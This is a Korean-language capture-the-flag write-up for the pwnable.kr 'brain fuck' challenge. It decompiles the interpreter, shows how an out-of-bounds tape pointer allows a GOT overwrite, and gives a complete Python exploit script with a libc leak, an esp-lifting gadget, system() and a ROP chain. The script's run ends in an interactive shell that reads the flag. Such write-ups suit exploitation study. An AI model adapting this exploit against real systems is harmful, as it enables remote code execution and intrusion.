Wargame/pwnable.kr

[Rookiss] brain fuck

bbolmin 2014. 7. 26. 09:54



int __cdecl do_brainfuck(char a1) { int result; // eax@1 int v2; // ebx@7 result = a1; switch ( a1 ) { case '>': result = hasAddr++ + 1; break; case '<': result = hasAddr-- - 1; break; case '+': result = hasAddr; ++*(_BYTE *)hasAddr; break; case '-': result = hasAddr; --*(_BYTE *)hasAddr; break; case '.': result = putchar(*(_BYTE *)hasAddr); break; case ',': v2 = hasAddr; result = getchar(); *(_BYTE *)v2 = result; break; case '[': result = puts("[ and ] not supported."); break; default: return result; } return result; }




0x804A0A0 주소값을 기준으로 (+1, -1)으로 다른 주소에 접근하며 read, write가 가능하다. 

GOT overwrite를 이용해서 exploit가능  ~

(*) hex-ray에서 "hasAddr++ +1"로 나와있는데 실제 어셈코드로는 +1만 수행함 .



공격 방법


1. tape변수(.bss)영역에 system의 인자로 사용할 "/bin/sh" 문자열을 입력한다.

2. puts의 주소를 얻어서 공유라이브러리의 로딩 주소를 구한다.

3. puts의 plt를 add esp 하는 가젯으로 덮는다.

4. setvbuf_plt에 동적으로 가져온 system함수의 주소를 덮는다.

5. 브레인코드 뒤에 rop payload를 붙여준다. (ret_sled + setvbuf_plt + dummy + &"/bin/sh")






[ exploit code ]


from socket import socket, AF_INET, SOCK_STREAM

import struct

        

HOST = '110.35.38.6'

PORT = 9001



s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST, PORT))


################## address info ###################

ret_addr = struct.pack('<I', 0x8048670)   # &ret

setvbuf_plt = struct.pack('<I', 0x080484B0) # system

dummy = 'aaaa'

binsh_addr = struct.pack('<I', 0x804A0A0) # &"/bin/sh"


### libc offset ###

base_addr = 0

puts_offset = 0x677E0

system_offset = 0x3f250

gadget_offset = 0xe1400L # add esp 0x16c 


###################################################


payload1 = ',>'*7 + ',' #'/bin/sh\x00'

payload1_data = '/bin/sh\x00'#'\x00hs/nib/'

#payload2 : read &puts

payload2 = '<'*(7+132) + '<.'*4

#payload3 : puts_plt <- add esp 0x100

payload3 = ',>'*4

#payload4 : setvbuf_plt <- &system

payload4 = '>'*11 + '>,'*4

#start exploit (call puts)

start = '[[['

rop_payload = ret_addr*50 + setvbuf_plt + dummy + binsh_addr



s.recv(1024)

s.recv(1024)

s.send(payload1 + payload2 + payload3 + payload4 + start + rop_payload + '[[\n')


#payload1 data : /bin/sh

s.send(payload1_data)


puts_addr = ''

for i in range(4):

    puts_addr += s.recv(1)

puts_addr = int(puts_addr.encode('hex'),16)


base_addr = puts_addr - puts_offset

print '[*] libc base address : %s ' % hex(base_addr)


#payload3 data : add esp

payload3_data = struct.pack('<I', base_addr+gadget_offset) 

s.send(payload3_data)

print '[*] overwrite "puts_plt" <- esp lifting(%s)' % hex(base_addr+gadget_offset)


#payload4 data : &system

payload4_data = struct.pack('<I', base_addr+system_offset)

s.send(payload4_data)

print '[*] overwrite "setvbuf_plt" - &system(%s)\n\n' % hex(base_addr+system_offset)




import telnetlib

def telnet_cmd(s):

    print '[*] start shell'

    t = telnetlib.Telnet()

    t.sock = s

    t.interact()


telnet_cmd(s)



--> 

Python 2.7.7 (default, Jun  1 2014, 14:21:57) [MSC v.1500 64 bit (AMD64)] on win32

Type "copyright", "credits" or "license()" for more information.

>>> ================================ RESTART ================================

>>> 

[*] libc base address : 0xf75cf000L 

[*] overwrite "puts_plt" <- esp lifting(0xf76b0400L)

[*] overwrite "setvbuf_plt" - &system(0xf760e250L)



[*] start shell

ls


bf

flag

super.pl

cat flag


BrainFuck? what a weird language..